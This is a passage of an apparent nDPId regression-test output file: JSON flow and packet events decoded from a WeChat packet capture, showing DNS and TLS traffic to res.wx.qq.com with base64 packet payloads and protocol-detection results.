/VTrJAE7epNeSYlMlLZMHfwHnSTx7x4tsuwRIg27IwJsQzFKu42L3NT8kXFPa1fedeHReO7+szwmdVJZEZwlbNaaLkR6AYOLHRC1KN0orOP0mqUkeAvWyox8+pV\/WTns7bkOfsvVbx7A0vmMMIlDjqIaO8Y\/qylm4VO\/8SvFyP1ScPekPR0qSPvX8xA\/gdrd2ElpsXEK1AOjbNTrqnCgmNSKBNS5W+E8f34akcSz+GxJXbvDrkI95NmlWNGj9f65v02BTWZtZ7ZbKB4irC4heWK1Vr2M\/2taMqE1+0cKdBLJtNtZeu8DjK\/LCzTcXL4+\/3kPPdfl3T\/g1M3j\/URCIjkLg+yRanclVscWhLrsuag\/wuNBRQGMXWGOdamtwrhCKyTs5K86lvVEauz+OJpE+PJUmqhCpozBIfw6cuHF57JWBZiPD6bWSWvHABhw0PHkJbpuCCOQ++sS1otMcCacgG2N+yvf4TKHOD40Fnh0tAJlv3A4eEUtEI6ff2ZUoX6CJ34OvyMlJJVx37S7FSE5FgB1Ox8O\/0kg1bi56t3KlZAbjT1aGCRXm0QQ4RtjiutMg5dpttlnVl1wQyTUPd9CGV+z7ccpzIhvC6pDVgiYu9A7lzFZzIAI8SsmfK1D3BhQ4k\/2ldn8QKrEmB4eUqJOY1qiFZ0j3n2c1wtKfKlAo0ULDGeIegz5n8YId4DYAIC0OKyjssGSQ1Ru+ByqWqXqqcZJDCVAwaMYpkKR7w9rMHz3WAg\/jOHa0q8W9bBT4r9iUlgDY7CNaU1f+TjDOtyMTPdjc7KJGE6QJ+rmI2Oww+47xB8HnFsH9ZrmjihVKx7jpeaFc8ca\/s89PUt9TcglOtjXQtK8LkMvMFdM6qDHg3GloAhIRHUh8hoSy6HZAZg5QgNmO7IuCOHw1vyA1LGemuq7d3A68216J\/FU3sY7xvPwb\/1ufVAwdmUgfj9lRfF4r\/Gc1VygWFZL0YJZU8yXJOdgZygbCVJGEUz5lMgRbtNfSt7XEFLeiqs+p38akZDuTZz3j82tYcrM18htwQ\/LlDGT1FeuRPS\/Avw5DU4nvnBd1ZZH9+7J+azuLJm50pEAZSMv8dbvX8Fa1jsihBnI2CR4wDpZ3OIxlur1RWGSNNwcCDpO68HMtbivE0cXxTHFpqHy4\/tG4Zw6M58xrzS8Ys0mbmu108w3TE50mBCWRrNsO+iBx9jK8bD5qT10k2PRSZo1oK376ODGnh+cXAO92sr9zDQDISqfbgg0qmbB1hrKHBx2FYlBtCsmoKCX2gg=="} +01068{"flow_id":43,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":847391,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPT6RAAEAGw8XAqAFny82XotNhAbttdaPKGtGyZ4AYAShHHwAAAQEICgAx0wlF8iqCFwMDAdYAAAAAAAAAAh1muGjOPXIX40dIJ1pd+2dFHsVMoNmHUc0fTMh1mApRVoCS2+G8qiOSrxGvgq+gc1+zTHqk0N0pq5TVYV2lpi0YYsI9rI3KMcQjeQSC129QCarWmDtfPvsv3PQdjZSuQw9o1ppwGtEhzY3LANHXfWguKZ2dgkOMTSEMrEV8QVc6uRyJMSv2VycsQzxdnRdz3T6iTn01YMbKWjGoqnuNfhb\/7rIQln+ltAsN6U3Pyw3EN\/MUT7Y3dqAOj9lkrb9No0LqpI0M9vmqs+RuThumptBGDuZxS9JDwzr\/YYZyKVZZFCC39iJItVBRrPleOQhv9muxoW32a1tXbE+As\/4MvMSMuRYuXWKCjrgBUsKfIjGG9EthdYXlwG01QkGdcsfvbJiMTrHX5a7rZBzpbdNxdc7BnNOInKgrK2P+szZ13Zfa+U6zOLkqDYYZQ6penSZthBEl0rCZ0xShqemMcI5ltxYwYx4Kaa9zbw28Bdh7xCCGijNfRY4KlDbCUKmrOQ4wbVQwy+5yysqRP5m2wWNlUpDYDSniojwRY7TnvUlquV2JEJjY71eqGRYXECVcg6CL89Oy4mqoP0fDV+w87hmsdveWVzBkLIdSGCkJtdtHRA=="} +00436{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":921,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167641,"pkt_ts_usec":723120,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702LyUvm4GyuHH6ASN8hDHwAAAgQFoAQCCApF8itfADHSpgEDAwc="} +00425{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167641,"pkt_ts_usec":723166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0VUhAAEAGv\/zAqAFny82XotNiAbsbK4cf8lL5uYAQAOWouwAAAQEICgAx0+RF8iog"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":936,"source":"wechat.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1492167648243,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":19041,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":243043,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"8IQvSpdgeJKcD6iOCABFAAA7101AAEAR3q7AqAFnwKgB\/kphADUAJzTVMN0BAAABAAAAAAAAA3JlcwJ3eAJxcQNjb20AAAEAAQ=="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":936,"source":"wechat.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1492167648243,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":19041,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.QQ","breed":"Fun","category":"Chat"},"dns": {"query":"res.wx.qq.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01055{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":277339,"pkt_caplen":537,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":537,"pkt_l4_len":503,"pkt":"eJKcD6iO8IQvSpdgCABFoAILAABAAEARs4zAqAH+wKgBZwA1SmEB91rcMN2BgAABAA0AAgAMA3JlcwJ3eAJxcQNjb20AAAEAAcAMAAUAAQAADgoACwVyZXN3eAJ0Y8ATwCsABQABAAAALgANBXJlc3d4BHRjZG7AE8BCAAUAAQAAAC8ABgNzc2TAMcBbAAUAAQAAAhgABgNzc2TASMBtAAEAAQAAAIwABMvNniLAbQABAAEAAACMAATLzZfUwG0AAQABAAAAjAAEy82eNcBtAAEAAQAAAIwABMvNnjfAbQABAAEAAACMAATLzZfjwG0AAQABAAAAjAAEy82eI8BtAAEAAQAAAIwABMvNnjjAbQABAAEAAACMAATLzZfTwG0AAQABAAAAjAAEy82eNsBIAAIAAQAANa8ACgducy1jZG4xwBPASAACAAEAADWvAAoHbnMtY2RuMsATwQ8AAQABAAACoQAEtv4QccEPAAEAAQAAAqEABLhpznrBDwABAAEAAAKhAAQOEROMwQ8AAQABAAACoQAEZwce7sEPAAEAAQAAAqEABHt+dlDBDwABAAEAAAKhAAS0oxYuwSUAAQABAAACoQAEtv4LcsElAAEAAQAAAqEABLb+bmTBJQABAAEAAAKhAATLzZfxwSUAAQABAAACoQAEDhEsW8ElAAEAAQAAAqEABHBaSWTBJQABAAEAAAKhAAR9Jy3o"} +00658{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":938,"source":"wechat.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1492167648243,"flow_last_seen":1492167648277,"flow_tot_l4_data_len":542,"flow_min_l4_data_len":39,"flow_max_l4_data_len":503,"flow_avg_l4_data_len":271,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":19041,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.QQ","breed":"Fun","category":"Chat"},"dns": {"query":"res.wx.qq.com","num_queries":1,"num_answers":27,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"203.205.158.34"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":939,"source":"wechat.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1492167648277,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43850,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":277830,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8euFAAEAGk9vAqAFny82eIqtKAbscYaCqAAAAAKACchBlYgAAAgQFtAQCCAoAMdpLAAAAAAEDAwc="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":940,"source":"wechat.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1492167648494,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43851,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":494081,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8\/\/9AAEAGDr3AqAFny82eIqtLAbsShiV+AAAAAKACchDqMgAAAgQFtAQCCAoAMdqBAAAAAAEDAwc="} +00424{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":582668,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0AABAADEGHSXLzZ4iwKgBZwG7q0qHWOtEHGGgq4ASOQgtSgAAAgQFtAEBBAIBAwMH"} +00408{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":942,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":582745,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoeuJAAEAGk+7AqAFny82eIqtKAbscYaCrh1jrRVAQAOWmPwAA"} +01107{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":583174,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"8IQvSpdgeJKcD6iOCABFAAIteuNAAEAGkejAqAFny82eIqtKAbscYaCrh1jrRVAYAOXThgAAFgMBAgABAAH8AwOCKLlYqqAvHPbStkNWfjviIJbNG8Opd41AdjWFUM5PDSCzw4Dj+1hijcfqB70gmV5q3+xDc\/7ZaGy4swNwVbbuBgAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAGTuroAAP8BAAEAAAAAEgAQAAANcmVzLnd4LnFxLmNvbQAXAAAAIwDA2rkP6N2F29W8IwDuml2ZBBexYWjz5d457nDC1tP3qzS2OGOajXlg7G9AUXA4imekq\/giRMEwa6iYhFjFjW4HKVdggoetJsKG1EFlq7Nse5+E1dc7PIUx4S\/ZrSiowXWl3yiYnLRXfAjDAJmKDd8SHhSHQTacbrGt8DQhtrFK0Cnfg4052zdZqAPMursq2AeUYh3+Ngc6z81+fZTHJbme2+rUNgUjlpPVl20yUvASxiP0qdMrlctOXqH2ToAmQQaKAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAgqKgAdABcAGFpaAAEAABUAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00717{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":943,"source":"wechat.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1492167648277,"flow_last_seen":1492167648583,"flow_tot_l4_data_len":629,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":157,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43850,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.QQ","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"res.wx.qq.com","ja3":"550dce18de1bb143e69d6dd9413b8355","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":945,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":873395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0AABAADEGHSXLzZ4iwKgBZwG7q0tO\/rLJEoYlf4ASOQgjJgAAAgQFtAEBBAIBAwMH"} +00409{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":946,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":873492,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoAABAAEAGDtHAqAFny82eIqtLAbsShiV\/Tv6yylAQAOWcGwAA"} +00408{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":901608,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAouBhAADEGZRjLzZ4iwKgBZwG7q0qHWOtFHGGisFAQAHukpAAA"} +02370{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":902355,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eJKcD6iO8IQvSpdgCABFoAXcuBlAADEGX2PLzZ4iwKgBZwG7q0qHWOtFHGGisFAQAHtKVwAAFgMDAEgCAABEAwOl4vZPF0bScJW+f8qrSOuG6NWtKghGWg36rESUqwxOoAAAnQAAHAAAAAD\/AQABAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMSvwsAErsAErgAB7QwggewMIIGmKADAgECAhBrUPksf4oyMjSwV4ASgKLNMA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNjA1MTAwMDAwMDBaFw0xODA4MDkyMzU5NTlaMIGSMQswCQYDVQQGEwJDTjESMBAGA1UECAwJR3Vhbmdkb25nMREwDwYDVQQHDAhTaGVuemhlbjE6MDgGA1UECgwxU2hlbnpoZW4gVGVuY2VudCBDb21wdXRlciBTeXN0ZW1zIENvbXBhbnkgTGltaXRlZDEMMAoGA1UECwwDUiZEMRIwEAYDVQQDDAl3eC5xcS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDxAHUrCcNPlCBG6Ea74TgkCCNchqGwaeD2Gja2dtIEMhguVwcs2KcnPZ0BTW+Wlhjcw18e8a3qA5aNNNR6HqXXdpw\/\/iT557Axy4PbSeFd1UmxKwVpaDAK2lmFMGkIJZbI98Zm4W3hxCjhQTkBFZj5ePX5DrDh8NNFWdYeJpGDyQlwLTMtrViHAeoiVcJ8jPS6HWtO\/UiyIoryHVf+I52fvdVGVzMegbmFxAHrivdrBE5BhYr9d3wq3zhFepiy2tfGI8B\/Z1qLYHNh2WE25oNbTGh4cE7gu5oqY88UmzyxVxa5eR5B4OUwXYcO5yrSTEcdWhsy54YdU7iCwIG\/OHwPAgMBAAGjggRNMIIESTCCAUEGA1UdEQSCATgwggE0ggp3eDEucXEuY29tghF3ZWJwdXNoLnd4LnFxLmNvbYIWd2VicHVzaDEud2VpeGluLnFxLmNvbYIXbG9naW5wb2xsLndlaXhpbi5xcS5jb22CD2xvZ2luLnd4LnFxLmNvbYIPZmlsZS53eDIucXEuY29tggp3eDIucXEuY29tghBsb2dpbi53eDIucXEuY29tgg13eGl0aWwucXEuY29tgg5maWxlLnd4LnFxLmNvbYITbG9naW4ud2VpeGluLnFxLmNvbYIWd2VicHVzaDIud2VpeGluLnFxLmNvbYISd2VicHVzaC53eDIucXEuY29tghV3ZWJwdXNoLndlaXhpbi5xcS5jb22CEXdlYi53ZWl4aW4ucXEuY29tgg1yZXMud3gucXEuY29tggl3eC5xcS5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MIIBfwYKKwYBBAHWeQIEAgSCAW8EggFrAWkAdwDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuw="} +00804{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":968,"source":"wechat.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1492167648277,"flow_last_seen":1492167648902,"flow_tot_l4_data_len":2129,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43850,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher"},"proto":"TLS.QQ","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"res.wx.qq.com","ja3":"550dce18de1bb143e69d6dd9413b8355","ja3s":"290adf098a54ade688d1df074dbecbf2","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1"}} +00408{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":902391,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoeuRAAEAGk+zAqAFny82eIqtKAbscYaKwh1jw+VAQAPuecAAA"} +05030{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":903691,"pkt_caplen":3484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3484,"pkt_l4_len":3450,"pkt":"eJKcD6iO8IQvSpdgCABFoA2OuBpAADEGV7DLzZ4iwKgBZwG7q0qHWPD5HGGisFAYAHs5gAAAvswAAAFUmcBh2QAABAMASDBGAiEAiufSCxdOF+7bgLpOmxcQG65s2qcgk7pdknOslLXY\/LoCIQDE45vN8fjY00CTdAwWDifBEAx38j2fQnz0tu8VuQYaaQB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABVJnAYgoAAAQDAEYwRAIgCJtQ2j0JaTPEQjEs0TuxHQfYaL2uWgH2iq\/PKYGE1wkCIAWv97otqd2tBkfL2zH82LGUijT7jPOhF4bZh7VUmVMPAHcAaPaY+B9kgr46jO65KB1M\/HFRXWeT1ETRCmesu09P+8QAAAFUmcBiDwAABAMASDBGAiEAsFcX8neGVSoD2KIq715oreo+ZZHssfyESZimYGEqbZECIQCY6c45FdAvBmBvBM8a7DIvTZz7Hqf\/jJKOfuPp2IaPgjANBgkqhkiG9w0BAQsFAAOCAQEAacSpqaeLeHtWG6B2q1V21KOu+t+P6DKXMlAHJQxnO\/Z6eX2lm2slENukRZAUJAfqy+pjKmCYyh9yOqKpYcU\/1LwhjaA5NbGJtr5doYCCLzWgEYUTI0CcVrgndk8aV9eIXFvmPSCniyEo0G+srQoPtcOJ\/dJ0fnTCOkJ5\/idKuF0HBwZDY3W5iZiYNg4LjjlBsrZrDbBuDmmmQ3X3T5CNLGlle4wCpKbNX7Ax4WO\/kwQeyYxpZrtwVijbRENwCnxqfK2bTAq08T3eIw+RT2WONqajChf3hIvPkUpOX61AJrDZm2Tu8KGncijArQGQQ3+qiBfUWFpk1ENGcqqlL9V\/NQAEUzCCBE8wggM3oAMCAQICAwI6bzANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMTEwNTIxMzY1MFoXDTIyMDUyMDIxMzY1MFowRDELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xHTAbBgNVBAMTFEdlb1RydXN0IFNTTCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475+Coajz2ttPSuhl61JJE3Xd7k0eQilnqKe3kcSkj1+6hmGsehPPV\/30Kd3mlsfCgO1GVPbpSGUaWOdakyRDBBHvhH6bIYlt6sEaEI4CWXwFNoZnvprC6ti742n72NwI6ivgfPRbohnU+wSpCl1iqfyVz2ig5iX8gp91OdDbjB4YiJZWbhxJ0WqD2bGVT\/6MhcrMY9GoPppFHydn1ri6zNOEKaz7Xdj2MOe9N3feZp61O7e3ZrMw7epXcwROge7b5ekASNHlR+jd\/pYksbH0L3PkxhCt373nmXq1TvK7azFcKH+1BCa8BIERKwaW3hQRVdMb72Ay4FcLbO8dqEeZQIDAQABo4IBSjCCAUYwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFNJv95b0hT9yPDB9I9qFeJujfFp8MBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9nMS5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vZzIuc3ltY2IuY29tMEwGA1UdIARFMEMwQQYKYIZIAYb4RQEHNjAzMDEGCCsGAQUFBwIBFiVodHRwOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvY3BzMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzOTANBgkqhkiG9w0BAQsFAAOCAQEAoNT3LPt0C39k8c1Dap9iUxwCfJiQou5PaNQgGnMSPnezUOtyvO6Ivn8X6nePg2GVT4ShyzJPbCG+0mmWfWO93CuoH9AThHD+9jWVifmmd7BGyLu3E\/XJYGnWTP7Sju\/TYMGAgOHn+4tvIXlK4NypG8G3+8NJWVy1dwdE1Jf8SQCJbwZOAXAZrC8RwOLmDy+GS417w7mnLvTxrBY+OUlRnhdLTxA6W6Wokm\/9+tYLA01HVlcZ88tr9fPWz7D19aMR0iBTEzQ3BSxDWmPfjUDWhR5R6VEXHgNWyfEwreebEaK50DGBm2ix2ejz5pR+x64TL4ft0CWwaPneCFrzKczUkgADgTCCA30wggLmoAMCAQICAxK75jANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MB4XDTAyMDUyMTA0MDAwMFoXDTE4MDgyMTA0MDAwMFowQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANrMGGMw\/fQXIxpWflvfPGw45HG3eJHUvKHYTPioQ7YD6U0hBwiI2lgvZjkpvQV4i5046AW3an5xpObEYKaw74DkiSgPniXW7YPzraaRx5jJQhg1FJ2tmEaSLk\/K8YdDwRaVVy1Q74ktgHpXrfLuX2vSAI25FPgUFTXZwEaje3LIkb\/JVSvN0Jc+nCZkzN\/Ogxlxyk7m1NV7qRnNVd7I7NJeOFPlXE+MLf5QIzb8ZubLjqQ5GQC3lQI5kQsO\/jgu0R0FmvZNPm8PBx2vLB6PYDni+jZTEznUXiYr2z2oFL0y6xgDKFIEceWrMz3hOLsHNoRinHnqFjD0X8Ar6HFr5PkCAwEAAaOB8DCB7TAfBgNVHSMEGDAWgBRI5mj5K9KylddH2CMgEE8zmJCf1DAdBgNVHQ4EFgQUwHqYaI2J+6sFZAwRfap9ZbjKzE4wDwYDVR0TAQH\/BAUwAwEB\/zAOBgNVHQ8BAf8EBAMCAQYwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9zZWN1cmVjYS5jcmwwTgYDVR0gBEcwRTBDBgRVHSAAMDswOQYIKwYBBQUHAgEWLWh0dHBzOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvcmVwb3N